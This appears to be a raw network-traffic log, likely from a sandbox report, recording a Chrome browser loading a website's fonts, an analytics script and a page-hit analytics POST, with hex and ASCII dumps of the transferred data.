2025-01-14 14:56:01 UTC	656	OUT	GET /fonts/fontawesome-v6/fa-brands-400.woff2 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mighty-calm-plum-toucan.easy2.de sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://static.web-repository.com/styles/platform.client.min.css?v=1040 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	822	IN	HTTP/1.1 200 OK Content-Type: application/font-woff2 Content-Length: 109808 Connection: close Date: Tue, 14 Jan 2025 14:56:02 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Last-Modified: Sat, 23 Sep 2023 12:25:55 GMT ETag: "005c9aa92b564b73b7582cc4f1fa49cb" x-amz-server-side-encryption: AES256 x-amz-meta-sha256: faae6fc0aa94cc5bde5076647c817a23206096a1cbeda10d1c6f3d89d6163ed1 Cache-Control: public, max-age=31536000 x-amz-meta-s3b-last-modified: 20230801T142700Z Accept-Ranges: bytes Server: AmazonS3 Vary: Origin,Access-Control-Request-Headers,Access-Control-Request-Method X-Cache: Miss from cloudfront Via: 1.1 fb8c0300277bd0137c1693d3d64ab550.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: SF7Th_UMntNxxBeSwWUfBWLsoxGB_LHbK8v5p_9zoOnGzXXw-LC9iQ==
2025-01-14 14:56:01 UTC	15562	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 ac f0 00 0a 00 00 00 02 cd 6c 00 01 ac a5 03 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 38 02 24 04 20 06 60 03 90 24 00 a5 08 ca 8a ca 7c cb 90 28 05 88 20 07 20 a5 b5 66 71 c8 00 22 d6 09 00 80 ab 7e f3 a0 8c e8 3a a9 dd 03 a0 aa ea 21 21 dc 54 35 e0 0f 3f fd f2 db 1f 7f fd f3 9f ff fd 65 60 ec 0e 88 65 3b ae e7 1b 9e ff fa eb df 7d 4e eb aa c1 27 a8 7e 08 8d 2a b0 46 1e fe 51 56 85 18 c1 37 f1 88 ec 45 9c aa 11 d8 d9 01 88 bb 1d 88 28 1d 61 24 39 75 8f 25 90 ef af ff ea 7c 6a 00 ac c8 9d 20 76 bf 81 6e 92 81 09 1e ed e0 9b f7 01 94 76 e7 9e 6c 7a 91 1d 74 94 92 cd 9e 7d 08 a7 7e cd 9b 19 cd 08 d0 82 31 c4 a8 58 4a 9a a4 b1 2d 5b 0a b4 8d 4b 7f db fd c8 d7 2c f1 5f 82 de cf 51 77 8f 17 c1 47 fc Data Ascii: wOF2l8$ `$\|( fq"~:!!T5?e`e;}N'~*FQV7E(a$9u%\|j vnvlzt}~1XJ-[K,_QwG
2025-01-14 14:56:01 UTC	428	IN	Data Raw: 62 9c 89 31 1b a3 bd 2c 42 11 56 e2 e8 02 9f 33 f5 76 e6 a4 58 83 b2 9a 64 65 3a ce 30 dc 41 a7 55 c6 a7 59 94 45 81 9f 8f f3 71 91 05 2c 48 d2 70 9f d8 19 e7 b2 34 49 bd 30 28 e3 49 36 c9 05 4b d3 ab dc 87 65 35 09 38 e3 d3 78 9c 45 c5 b4 62 dc 5f 03 c6 fd 1d 28 2b 9e a4 59 92 87 15 e3 24 88 2b f2 d4 0d 9b 4e b3 24 dd 81 f1 1a 84 5d 48 93 54 54 8c 97 3b 30 1c e7 e3 38 f7 ab da 70 69 c9 a2 6c 9c 8f b3 b2 e2 8c 4f 8b 71 96 54 3e 1f 67 ff c5 24 aa c8 98 00 50 e9 0d 12 95 00 00 93 50 34 6b ad b6 43 28 c3 26 63 92 64 11 45 96 19 65 9c 6b 98 52 66 87 42 96 24 89 63 00 02 32 06 c0 98 48 84 12 42 25 4e 19 e8 44 a2 00 32 63 32 00 06 6c c8 98 33 89 6a 18 9b 54 22 dc b0 64 e0 a6 cf 90 a8 fb 93 f9 85 5a 0d 53 56 9a dc 21 b8 f3 1a a5 44 40 51 34 90 25 30 5c d7 e1 3c Data Ascii: b1,BV3vXde:0AUYEq,Hp4I0(I6Ke58xEb_(+Y$+N$]HTT;08pilOqT>g$PP4kC(&cdEekRfB$c2HB%ND2c2l3jT"dZSV!D@Q4%0\<
2025-01-14 14:56:01 UTC	664	IN	Data Raw: 30 59 66 4c 35 1c 04 16 3f 84 13 08 da de f9 cc 04 31 e6 82 b8 46 51 04 f0 8c 67 b4 21 20 cf 73 eb 13 c0 59 c4 19 38 8f 95 89 99 26 80 5b 63 09 0c dc 44 10 52 42 70 46 52 0b ae 95 00 38 20 fd 7a b6 d9 5c 8a c2 42 b2 ce 14 90 8c 11 ac 86 b2 c6 40 0b ee 1a a3 18 13 9c e0 e3 c2 2f 0c 18 e3 d8 68 c8 14 51 e4 ba 74 26 48 22 68 b7 07 9a 20 74 92 32 13 04 9e 20 10 59 ce 84 95 0a e0 1c 4c 50 0c 40 5a b8 ff d6 0d eb e6 b9 0a c5 21 7d 57 49 1e f9 d6 a8 00 80 61 10 50 4a 1c 76 c0 b2 56 b9 47 1a a1 f1 ad 85 36 6e c0 98 b5 59 5e 82 9d b4 db 21 b8 64 82 c0 41 4a 6a 10 49 c0 30 4e c0 fd 1e fd 28 60 22 d7 c8 40 a3 57 1e 5a 96 82 65 2e c1 06 00 fe 9a c4 30 48 a0 86 ba 4a 08 d6 08 05 09 63 09 33 3e 87 31 ae 60 5b ae 03 cc fe 51 65 12 e7 32 10 c2 54 49 e2 58 96 61 be 51 0b Data Ascii: 0YfL5?1FQg! sY8&[cDRBpFR8 z\B@/hQt&H"h t2 YLP@Z!}WIaPJvVG6nY^!dAJjI0N(`"@WZe.0HJc3>1`[Qe2TIXaQ
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 5b 13 21 e1 4b be be 26 4a 5c c4 29 8f ab 34 17 55 ce d3 58 e4 bb a7 e3 35 1a e6 1f 7d c5 3d 37 5d 1e 3d f9 e2 fb f7 6f 1e 25 3f d4 fa 64 03 0e e5 3b f9 e2 4b bf f3 fe fb bf ed 43 77 dc f1 7f df fc 26 c2 a8 79 f4 4f f0 97 f0 4e a4 23 07 21 c8 37 f8 26 83 e4 24 f6 e0 e9 53 1f fe e2 db 9f fc b6 53 df fb e9 77 3d f4 54 7d ee ff 17 8e e0 9d 9f fd a7 77 bd eb 47 ff ec e9 a7 67 6f 85 73 b3 cf eb ee 8e 2e 40 67 8e c6 64 be 4a 7e 92 4e f2 49 15 a5 49 1a 56 49 9a 6c c1 c8 ee 16 c2 56 66 57 8a 2a c6 cb ca 62 3a 88 ec 90 9f 64 74 83 70 7e 61 73 6d 49 96 47 51 68 3b cc b4 42 cb 32 1c 53 96 41 ae c7 d1 bc e4 79 bd b6 2b 3c 39 f0 5d d3 3b 1d 8f bb ef 5f 5e 58 6c b5 00 5a 2d 43 f7 31 91 5c a7 0e 32 28 96 e9 b8 56 c7 75 49 1c 0a 00 5f d2 84 81 65 df a4 d4 be 5d 31 f2 e0 Data Ascii: [!K&J\)4UX5}=7]=o%?d;KCw&yON#!7&$SSw=T}wGgos.@gdJ~NIIVIlVfW*b:dtp~asmIGQh;B2SAy+<9];_^XlZ-C1\2(VuI_e]1
2025-01-14 14:56:01 UTC	6396	IN	Data Raw: 7d cd 9f ae e0 f5 96 b6 3a 1a ad f6 3b 9d 4e 77 79 b4 b5 30 b7 f1 a5 61 7f ba ba b9 b8 b8 b9 3a ed 0d 61 61 fb d4 5a 96 ad 9d da 5e 58 8c b2 e9 c6 d2 d2 c6 34 8b e2 6e 37 59 1d 8d 56 93 6e 37 86 5b ff 1b da 2d 99 1b 80 5d 58 5c 80 d9 67 ec 1a cc cf 43 cd 86 ab 11 e0 6e 17 43 34 fb ee 65 a8 05 90 a6 10 cc fe ca 52 94 76 5b 51 2c 84 90 84 d8 d1 75 fc 0a b8 86 62 34 46 5b e8 46 74 1b 42 c3 b2 48 ac 9b 9c d2 fe bb e2 e4 95 12 41 43 c7 e7 c7 e7 43 1e 8a 20 2f 18 11 6e 51 3c 1a 9f da 58 5a b6 6a dd 81 a8 01 e9 bb 1e e0 28 9e c2 6b a6 71 84 a1 51 5f 98 7d 12 1b 5d 13 63 b3 6b e0 2b 60 76 4d 98 e8 b9 63 c9 47 df 86 8d f6 b9 de 36 f0 6f ba de a9 f1 08 43 1c af f9 00 b5 5a ac e9 56 a7 33 98 c6 31 40 1c 4f 17 fb 7d ed 7b 0d 8c 8d 27 4d 8c cd 27 0d 8c 8d 37 98 00 e6 Data Ascii: }:;Nwy0a:aaZ^X4n7YVn7[-]X\gCnC4eRv[Q,ub4F[FtBHACC /nQ<XZj(kqQ_}]ck+`vMcG6oCZV31@O}{'M'7
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 55 be 6a 48 04 4f 69 0a 44 79 95 8b fc 59 04 ff 6b 10 02 59 5b 7e 5c 5b c5 d2 d2 eb 03 19 40 0a 5b 70 a6 e9 7a 90 83 73 63 c0 59 9d df 82 25 3b 54 78 b7 c7 95 90 b6 2c c5 6e 91 e7 bc 13 9e e1 dc a8 01 e0 e1 b7 62 4c a4 7a 03 cb 4f 92 61 70 1a 83 a6 f6 59 83 fc 4b 9d f0 e7 33 cc 3a 1f c4 98 90 3a a0 be ec 38 72 bf a6 b6 5a 2a a2 c8 3b ba 0e 7f c7 2b 2e 38 89 ae 62 02 ac 88 32 a7 40 2c 5f e4 a3 37 fc 69 a6 44 81 aa e9 70 57 c5 9f d2 67 81 12 99 f3 0e ef 12 21 c7 75 51 2d f4 fd 13 c3 73 c2 aa ce b7 6e 07 4d b3 1d 5d d3 74 a7 a6 dd 27 93 ee ad 95 25 5a a6 49 69 9d e0 cd 8d 2b 77 6c 6c 62 52 27 d4 34 5b b3 5f 50 93 88 b2 e4 95 f4 3b 7e 14 45 91 cf 18 67 56 a7 dd e9 58 9c 33 06 eb fc b1 09 9a e6 fc 9b 95 d0 57 fb 8e a6 69 ba ed 68 3a 04 21 c8 6f 95 12 1b 3c 4f Data Ascii: UjHOiDyYkY[~\[@[pzscY%;Tx,nbLzOapYK3::8rZ*;+.8b2@,_7iDpWg!uQ-snM]t'%ZIi+wllbR'4[_P;~EgVX3Wih:!o<O
2025-01-14 14:56:01 UTC	4601	IN	Data Raw: cb 55 6e f5 62 4e fc 6e b6 d3 e3 5b 6f 9f cd ce 57 cb c5 76 0a 80 e4 de 82 e5 62 dd ac 9b 79 33 5f ac 9b 79 b3 5e 2c 37 eb 66 b9 99 6f e6 ab 75 b3 5e ad 17 f3 8d 01 5e 73 bb d9 6e a6 cc 5f 2f b6 8b f5 62 bb 59 af 9a 75 33 df 2c 37 f3 86 eb 66 be f1 10 12 6b e6 8b f9 66 3d 4f b4 5e ad 37 f3 47 9c 46 af 97 60 d7 1b f4 58 d1 a2 99 6f e6 4f f1 26 08 97 6e 34 5f ac 37 f3 cd 7c 93 6d e6 9b e5 66 ce b4 14 c9 52 62 da 43 80 e8 b6 a1 a4 ca 4c 9b bf 59 03 46 5a fc f1 ec b6 5c ae 36 90 95 27 f2 2d 65 a6 f1 65 3f a4 96 ad 26 c8 a1 31 c3 f1 cd aa e8 e3 71 ce 25 2c f3 8f 14 9c 17 0c 60 ef fa 3d a3 e0 60 9f c3 78 98 48 b2 49 83 ed af 5b 9d 4e 6b bd c7 48 29 2e 38 d7 9a f1 c3 01 f7 e5 dc d1 55 2a 5f 8b a8 bf b7 b7 10 0b ca 34 4b cf ed d2 6d 3a e2 e5 92 f3 1c bb dc db eb Data Ascii: UnbNn[oWvby3_y^,7fou^^sn_/bYu3,7fkf=O^7GF`XoO&n4_7\|mfRbCLYFZ\6'-ee?&1q%,`=`xHI[NkH).8U*_4Km:
2025-01-14 14:56:01 UTC	8459	IN	Data Raw: 19 0b ad 25 3f 8a 94 21 63 0b 62 da cb 3a dd ce 28 4d 63 80 17 49 61 5d 97 17 49 e2 6a a5 f8 5f 08 4d 64 2c 41 68 63 ad 12 8c 20 7a 25 80 b8 8c 80 34 b7 46 49 c1 7d 10 3c 29 38 0b 5e e7 46 91 b0 5e ec 8b 7d b7 d2 c7 a7 24 84 94 54 76 19 87 02 7e ec 63 9d e7 2c 82 09 95 34 ae 74 dd e0 9a 01 49 52 7f b2 19 c3 a3 58 40 f2 c0 6c 02 29 10 73 41 00 29 19 46 33 c7 c0 c0 b5 46 ec 3c ca 24 7a fd 8c 32 49 6a 15 32 a9 84 35 52 13 f3 19 c3 bf 08 df 0f 14 17 bc f0 3d 25 41 1f 92 da 4a 90 74 19 16 97 71 42 cf 4a 99 3b 01 ad cd 49 8a 6a 2f 0a 95 10 91 ed 01 30 ae e7 b9 52 0a a2 80 be c6 47 d8 1f aa c0 f7 ad 73 f2 38 45 69 d6 91 20 f9 1b 9c 31 09 87 26 04 b8 b4 e4 19 3a 65 38 54 be 57 00 65 ac d4 7b c3 a2 c8 d1 69 95 fa 25 a4 dc 34 0d bc d4 c6 64 72 90 b5 ed 76 8f b3 d2 Data Ascii: %?!cb:(McIa]Ij_Md,Ahc z%4FI}<)8^F^}$Tv~c,4tIRX@l)sA)F3F<$z2Ij25R=%AJtqBJ;Ij/0RGs8Ei 1&:e8TWe{i%4drv
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 28 5a 56 1b ae dc 78 0f b0 04 65 54 18 99 81 d6 cc e8 21 87 c4 c1 8c 7b 26 08 8c 29 48 49 f5 4e 36 57 0a 61 92 44 36 cb 93 44 43 29 06 2e b4 16 4c b6 6e 0a da e4 3e 63 04 2d b5 97 0b 13 7b 44 8a 81 3c 26 04 4d d8 01 93 8c 3b d8 62 44 36 cf b5 94 d6 f6 fd c0 03 97 5a f1 d6 b9 91 1b 47 44 56 12 71 13 08 22 c3 0c 5a 64 09 cd 88 a4 19 3a 0e e2 70 d5 ff 45 fe b2 cd 41 99 87 f2 e0 18 60 59 2e 57 4d c8 ae a2 bc 4a aa a9 9b ba 7c 0c 4f 50 d6 12 d5 05 86 50 65 88 12 1f 15 9d fa f4 a1 58 5b 10 46 70 3f 91 d1 b8 ed a5 a7 85 ca 55 f6 d4 69 f8 69 e1 0f 3c f2 9d 6f 7f ee df 86 9f fa 65 c9 e2 f8 df 1d bc c9 cb f9 ac ef 29 ed 5b 0b de eb 1d 3e 78 fb b4 ed 71 6f 7e 65 d5 dd 9d 1e dd 2b fc e3 d5 1d ad 64 6b 3f 25 79 d3 67 cc ee 7d d5 2c 79 ec 93 4f 5f 61 e2 a9 db e6 d2 d3 Data Ascii: (ZVxeT!{&)HIN6WaD6DC).Ln>c-{D<&M;bD6ZGDVq"Zd:pEA`Y.WMJ\|OPPeX[Fp?Uii<oe)[>xqo~e+dk?%yg},yO_a
2025-01-14 14:56:02 UTC	16384	IN	Data Raw: 41 11 72 82 94 cd 8c 61 c4 58 24 dc 80 31 df 69 19 80 50 c2 f7 a5 22 7b 27 f9 04 cd 98 20 e2 cc 67 44 ae 2b 43 68 52 1f 1e f6 34 7c b2 69 ca 6b 29 02 d5 ca 80 e0 04 c3 18 49 3b 8b f8 24 3c f6 79 03 5a 23 40 6b c7 b9 24 46 81 5e 72 93 8c b8 72 4b ce 19 d7 4c 25 4a 29 ce 8d 66 a4 5c 2b 49 f9 d4 00 58 ce 3d d2 8d 4e 6b 61 89 52 2e 84 1b 4b 13 30 c9 b9 2b 55 50 0b c6 19 e7 69 ca 98 e0 47 e4 17 9e f0 72 09 ad b9 e0 82 33 e5 72 78 8f a5 18 95 0f ad 98 09 29 04 67 82 0b a5 88 a4 b4 96 a0 a5 54 5a 73 ee f5 73 5c 0e db ed 65 79 9b 64 af db 33 05 d0 1e ae d6 9b 1f 65 9d ee 6e 9a 0e 8a e1 70 3c 2a 5b 02 55 9a 10 05 8e 2d 92 21 5f f8 15 7c 0c 3f e1 7c 13 38 9e c1 0f d1 ff 65 2f 62 1f 60 ff c4 1b c7 49 97 ab 45 24 19 ba 0c 36 53 ca 7b a9 47 d8 e5 c2 55 02 c0 52 d3 c0 Data Ascii: AraX$1iP"{' gD+ChR4\|ik)I;$<yZ#@k$F^rrKL%J)f\+IX=NkaR.K0+UPiGr3rx)gTZss\eyd3enp<*[U-!_\|?\|8e/b`IE$6S{GUR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49864	100.29.141.76	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:01 UTC	585	OUT	OPTIONS /page-hit?r=1736866559995 HTTP/1.1 Host: service-api.app-sources.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-website-hash Origin: https://mighty-calm-plum-toucan.easy2.de User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	245	IN	HTTP/1.1 204 No Content Date: Tue, 14 Jan 2025 14:56:01 GMT Connection: close access-control-allow-origin: * access-control-allow-methods: * access-control-allow-headers: * access-control-max-age: 300 apigw-requestid: EYgoVil_oAMEMyQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49862	143.204.98.128	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:01 UTC	377	OUT	GET /scripts/common/hit.js?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:02 UTC	551	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4287 Connection: close Date: Wed, 08 Jan 2025 05:55:39 GMT Last-Modified: Sat, 14 Sep 2024 07:33:34 GMT ETag: "992a5733b4c2be6d1420de5c99ae79bc" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 0d37b2e69745cd9f0c5457fbf1a83128.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: iRHXG3wJgTzrEuT0xRD68U7hEVg9ABhui5W_G0OKlYRMC1jONgPt1A== Age: 550823
2025-01-14 14:56:02 UTC	4287	IN	Data Raw: 0a 69 66 20 28 21 57 65 62 50 6c 61 74 66 6f 72 6d 2e 6f 6e 52 65 61 64 79 29 20 7b 0a 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 20 3d 20 5b 5d 3b 0a 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 6f 6e 52 65 61 64 79 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 71 75 65 73 74 29 20 7b 0a 20 20 20 20 69 66 20 28 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 20 3d 3d 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 72 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 2e 70 75 73 68 28 72 65 71 75 65 73 74 29 3b 0a Data Ascii: if (!WebPlatform.onReady) { WebPlatform.documentReadyRequests = []; WebPlatform.onReady = function (request) { if (WebPlatform.documentReadyRequests === null) { request(); } else { WebPlatform.documentReadyRequests.push(request);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49871	100.29.141.76	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:02 UTC	965	OUT	POST /page-hit?r=1736866559995 HTTP/1.1 Host: service-api.app-sources.com Connection: keep-alive Content-Length: 219 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Website-Hash: OzNL0pJuEwONmkBrhnwiEOXv1N04PoaICG1jobhyrT7e2w6NxjKz2SZa0jZSBmHivrxX/+Cr4XolUe275c38YbeGAt+sMTyt07at6qonQn+XWS1Jjl5JChmPxuf1f7okRvLNb50ZFOJv+pxtzntnb9KOriq7YO/FrAlYavxCEXj7xBfOlirJyMT+2buL/rZK4j0r+xraxLC7hUUYz6z0/P/dHt1ssOMj7bMdoVynPAuLiB/4Ltg4I5GFf2TIjSu7cudoxNQy+DQoLYxWoJVkgg== sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://mighty-calm-plum-toucan.easy2.de Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:02 UTC	219	OUT	Data Raw: 7b 22 62 72 6f 77 73 65 72 22 3a 22 43 68 72 6f 6d 65 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 2c 22 75 72 6c 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 22 22 2c 22 74 69 74 6c 65 22 3a 22 54 6f 75 72 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 63 72 65 65 6e 57 69 64 74 68 22 3a 31 32 38 30 2c 22 73 63 72 65 65 6e 48 65 69 67 68 74 22 3a 31 30 32 34 2c 22 66 75 6e 6e 65 6c 56 61 72 22 3a 22 22 2c 22 5f 72 22 3a 31 37 33 36 38 36 36 35 35 39 39 39 34 2c 22 73 65 73 73 69 6f 6e 44 65 74 61 69 6c 73 22 3a 7b 22 66 75 6e 6e 65 6c 50 72 6f 67 72 65 73 73 22 3a 7b 7d 7d 2c 22 74 79 70 65 22 3a 22 70 61 67 65 22 7d Data Ascii: {"browser":"Chrome","browserVersion":"117","url":"/","query":"","title":"Tour","referrer":"","screenWidth":1280,"screenHeight":1024,"funnelVar":"","_r":1736866559994,"sessionDetails":{"funnelProgress":{}},"type":"page"}
2025-01-14 14:56:02 UTC	229	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:02 GMT Content-Type: application/json Content-Length: 121 Connection: close access-control-allow-origin: * access-control-expose-headers: * Apigw-Requestid: EYgofiUjoAMEM_g=
2025-01-14 14:56:02 UTC	121	IN	Data Raw: 7b 22 73 65 73 73 69 6f 6e 44 65 74 61 69 6c 73 22 3a 7b 22 66 75 6e 6e 65 6c 50 72 6f 67 72 65 73 73 22 3a 7b 7d 2c 22 73 65 73 73 69 6f 6e 43 75 74 6f 66 66 54 69 6d 65 22 3a 31 37 33 36 38 36 38 33 36 32 2e 37 39 34 33 38 31 30 30 30 2c 22 6c 61 73 74 41 63 74 69 76 69 74 79 54 69 6d 65 22 3a 31 37 33 36 38 36 36 35 36 32 2e 37 39 34 33 38 31 30 30 30 7d 7d Data Ascii: {"sessionDetails":{"funnelProgress":{},"sessionCutoffTime":1736868362.794381000,"lastActivityTime":1736866562.794381000}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49872	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:02 UTC	655	OUT	GET /fonts/fontawesome-v6/fa-solid-900.woff2 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mighty-calm-plum-toucan.easy2.de sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://static.web-repository.com/styles/platform.client.min.css?v=1040 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:03 UTC	822	IN	HTTP/1.1 200 OK Content-Type: application/font-woff2 Content-Length: 150020 Connection: close Date: Tue, 14 Jan 2025 14:56:04 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Last-Modified: Sat, 23 Sep 2023 12:25:55 GMT ETag: "d5e647388e2415268b700d3df2e30a0d" x-amz-server-side-encryption: AES256 x-amz-meta-sha256: 886c86112a804ef1ddd1cb206af4c8c40e34b73c26652ca231404aa35a6b30d9 Cache-Control: public, max-age=31536000 x-amz-meta-s3b-last-modified: 20230801T142700Z Accept-Ranges: bytes Server: AmazonS3 Vary: Origin,Access-Control-Request-Headers,Access-Control-Request-Method X-Cache: Miss from cloudfront Via: 1.1 5317564e96c9dceb46123f6c5f149a02.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: hjfUFaHIfClrKj8vHEi2gTSoca02SZXpExbzElX_kAO88z0zfKfiDw==
2025-01-14 14:56:03 UTC	15562	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 4a 04 00 0a 00 00 00 05 b8 30 00 02 49 b7 03 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 38 02 24 04 20 06 60 03 ab 3c 00 81 91 04 ca 94 fe 44 cb ab 40 05 87 70 07 20 a5 17 dc 92 92 01 44 70 1e 00 00 b6 7a e7 61 44 8a 66 0f 4f 11 3d 69 bd 78 00 54 55 55 55 d5 94 84 80 c7 6c db 01 a0 aa 82 1f fd e4 67 bf f8 d5 6f 7e f7 87 3f fd e5 6f ff f8 97 7f fb 8f ff fa 9f ff fb 4f 81 c1 b8 fb 07 c2 b4 6c c7 e5 f6 78 7d 7e c3 f7 df da e7 ad 9a f9 b8 d4 21 ee b0 b0 40 2f 2a ac 88 55 ec 0a 97 f3 02 3e c2 b2 f1 ad e4 0a 15 a4 f1 1f fb 7b 3b 6d 07 42 f2 d3 77 ee 40 5e 51 5e 89 5a 99 bb e6 66 20 a8 08 83 89 8a cb 06 dc 93 74 17 ff 11 ef b3 37 08 ed 04 e2 60 fc 0e 4c 72 0f 19 bf c6 cb 81 9f a9 50 92 42 f7 4a 78 13 b1 Data Ascii: wOF2J0I8$ `<D@p DpzaDfO=ixTUUUlgo~?oOlx}~!@/*U>{;mBw@^Q^Zf t7`LrPBJx
2025-01-14 14:56:03 UTC	428	IN	Data Raw: 56 89 e6 32 ce b7 f2 ea b7 75 5e 95 79 a6 30 cb ab 32 37 f2 62 b3 af fb 95 22 50 bc 9e b2 69 96 87 83 3c b4 aa ec fc 6d ec 15 e5 b0 ac 06 c3 b2 18 0c 07 c5 2e 6e e1 66 da c9 8b 64 30 1c f4 73 96 29 ec a4 9d 45 8f d8 c9 e2 6e a5 2a b2 34 4b 13 1a d1 62 8a bf 66 36 13 1d 63 e1 db 16 17 9e 6b 39 be b2 ac 7a 6c b9 4a 38 76 e4 bb d2 63 dc 33 88 6b 3b be 63 4a 0f 0d 44 b4 cc b8 a9 94 61 fb be 17 9b 86 f2 6d 0b c9 5c 58 22 7b af 51 49 a8 ef 58 ca 71 16 88 ed 2b 83 d8 76 4d 50 21 5c 97 79 a8 7c 83 fa 3e 8f 4c 43 fd 61 cf f1 84 ef 9b 92 1e 59 9b 7a 51 b7 cb 3e a3 8b 38 8a 50 9f da 8a b1 37 7f 45 20 c5 7d 87 ff ca f1 84 df 1b 4f e6 57 42 32 86 5f 34 94 42 c3 30 84 b2 1c df 73 b9 23 1c 57 b1 a0 e6 30 2e 3d 66 5a 81 6f 9a d2 77 4c 44 e9 1a 06 fe f1 cf 0a cb b4 6c 5f Data Ascii: V2u^y027b"Pi<m.nfd0s)En*4Kbf6ck9zlJ8vc3k;cJDam\X"{QIXq+vMP!\y\|>LCaYzQ>8P7E }OWB2_4B0s#W0.=fZowLDl_
